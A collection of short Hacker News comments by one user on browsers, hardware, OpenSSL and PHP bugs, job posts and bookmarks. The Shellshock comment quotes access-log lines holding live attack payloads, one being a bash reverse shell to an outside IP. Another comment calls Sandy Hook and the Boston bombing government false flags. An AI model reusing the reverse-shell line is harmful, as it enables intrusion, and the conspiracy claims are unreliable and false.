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geeknikon Ask HN: Firefox vs. Chrome security

For the adventurous:

1) open about:config 2) set gfx.webrender.enabled to true 3) restart Nightly

For the even more adventurous:

1) open about:config 2) set gfx.webrender.enabled to true 3) set gfx.webrendest.enabled to true 4) restart Nightly

geeknikon Experiences with the Thinkpad 13?

I have a couple of the T420s and with the exception of having to replace the CPU fans in both of them, I have no complaints.

geeknikon Ask HN: Looking to purchase a software-defined radio, any advice?

SDRPlay http://www.hamradio.com/detail.cfm?pid=H0-014408

geeknikon Theo de Raadt on OpenSSL vulnerabilities coming on the 19th

I found an OpenSSL bug that was assigned CVE-2015-0208 and it is still embargoed near as I can tell.

geeknikon What happened to all the non-programmers?

I'm a sys admin and security researcher and I'm not a programmer by any stretch of the word. Nor do I have a CS related college degree. I'm an anomaly in the tech world. ;)

geeknikon Firefox Developer Edition 38: 64-bits and more

Been using 64 bit Nightly builds (from Mozilla) for years. Not sure why this is news.

geeknikon There’s already a conspiracy theory brewing over net neutrality

We really don't need more government regulation. I've got a bad feeling about this crap.

geeknikon Ask HN: What have you achieved in January 2015?

I found an OpenSSL bug which was assigned CVE-2015-0208 (details forthcoming). I feel like that is a good achievement. Follows on the heels of the PHP5 bug I found in December(CVE-2014-9427).

geeknikon Ask HN: XMPP/Jabber self hosting

I'm using Prosody. Supports TLS1.2 and Forward Secrecy.

Check your score on xmpp.net if you haven't already. ;)

geeknikon Everything you need to know about the Shellshock Bash bug

I've only seen 2 requests in my logs:

access.log:89.207.135.125 - - [25/Sep/2014:06:28:08 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 447 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

access.log:202.38.120.248 - - [26/Sep/2014:13:38:10 +0000] "GET / HTTP/1.0" 200 473 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"

geeknikon Finally, It Will Be Legal to Unlock Your Own Cellphone

FYI: This has absolutely nothing to do with bootloaders.

geeknikon Oklahoma botches first execution in 80 years

The title says first execution in 80 years, but it was supposed to be the first double execution in 80 years.

geeknikon Ask HN: Who is hiring? (January 2014)

I'd love to work for Flipboard, been using your Android app ever since you released it. Not interested in relocating though, so how can I change the 'probably not' into a 'hell yeah' for working remotely as an Operations Engineer? =)

geeknikon My dad unexpectedly uses my Linux laptop to get real work done

I'd use Linux on my desktop if my entire Steam catalog would play under Linux, but since 99% of the games I play are Windows only, I'm stuck in the Windows world. ;)

geeknikon Cloud to Butt Plus

I put a 'Butt Computing' Greasemonkey script up here http://userscripts.org/scripts/show/96029 back in 2011. Nice to see some folks are as immature as I am. ;)

geeknikon EFF's HTTPS Everywhere removed from Chrome app store

You can also use this command line flag:

--enable-easy-off-store-extension-install

geeknikon Ask HN: How do you manage your Twitter timeline?

I like the Android app called Fynch.

The official description says "Fynch enhances your Twitter experience by automatically analyzing your timeline for interesting patterns of activity. It is intended to be a tool that decomposes your timeline into smaller sets of tweets that are easier to consume. Fynch is great for identifying extremely high rates of activity, trending topic mentions, and the tweets of less active users in your following list."

https://play.google.com/store/apps/details?id=com.rn.fynch&h...

geeknikon Another XSS vulnerability and Paypal shows no response

I don't know why people have trouble getting a response from PayPal.. I submitted an XSS and a CRLF injection issue over the holiday weekend and got a response this morning.

geeknikon Why isn't New Orleans Mother's Day parade shooting a 'national tragedy'?

Because it wasn't a false flag operation perpetrated by the government, it was just a normal act of violence that happens every day across the country. Sandy Hook = False flag operation to start disarming the populace. Boston = False flag operation to see how easy it would be to declare martial law in a major US city. =)

geeknikon Bitcoin Tipping Bot for HN

Hacker News doesn't need to be like Reddit. =)

geeknikon Ask HN: Who is hiring? (March 2013)

OpenDNS (http://www.opendns.com/about/careers/)

At OpenDNS, we're building services used by more than 50 million people every day. You read that right: 50 million people. Our services add security and privacy wherever our customers are accessing the Internet. On phones, tablets and laptops. In airports and coffee shops. In big cities and the furthest, rural corners of the world, alike. In more than 1 in 3 U.S. public schools, globally-distributed Fortune 100 enterprises and hundreds of thousands of households. We value innovation and technical excellence above all else. We take pride in everything we do. If you want to do something that matters, come work with me. =)

San Francisco Openings (Full-time):

* Sales:

Director of Channels, Enterprise Account Manager, Inside Account Executive, MSP Account Associate, Sales Development Representative, Sales Engineer, Sales Manager

* Marketing:

Social Media Coordinator

* Customer Service:

Technical Support Engineer

* Design:

Junior Web Visual Designer

* Operations:

Operations Engineer, Systems Administrator

* Administrative:

Executive Assistant

* Engineering:

Engineering Manager, Front-End Web Developer, QA Lead - Automation, Software Developer in Test, Software Engineer, Software Engineer - Mobile

Vancouver Canada Openings (Full-time):

* Engineering:

QA Lead - Automation, Software Engineer, Software Engineer - Mobile

geeknikon Ask HN: How do you manage your bookmarks?

Thanks for this, just signed up and started importing from Chrome, my Twitter account and RIL. =)

geeknikon Ask HN: How do you manage your bookmarks?

http://zootool.com/ looks interesting, haven't used it though, still just using Chrome for bookmarking..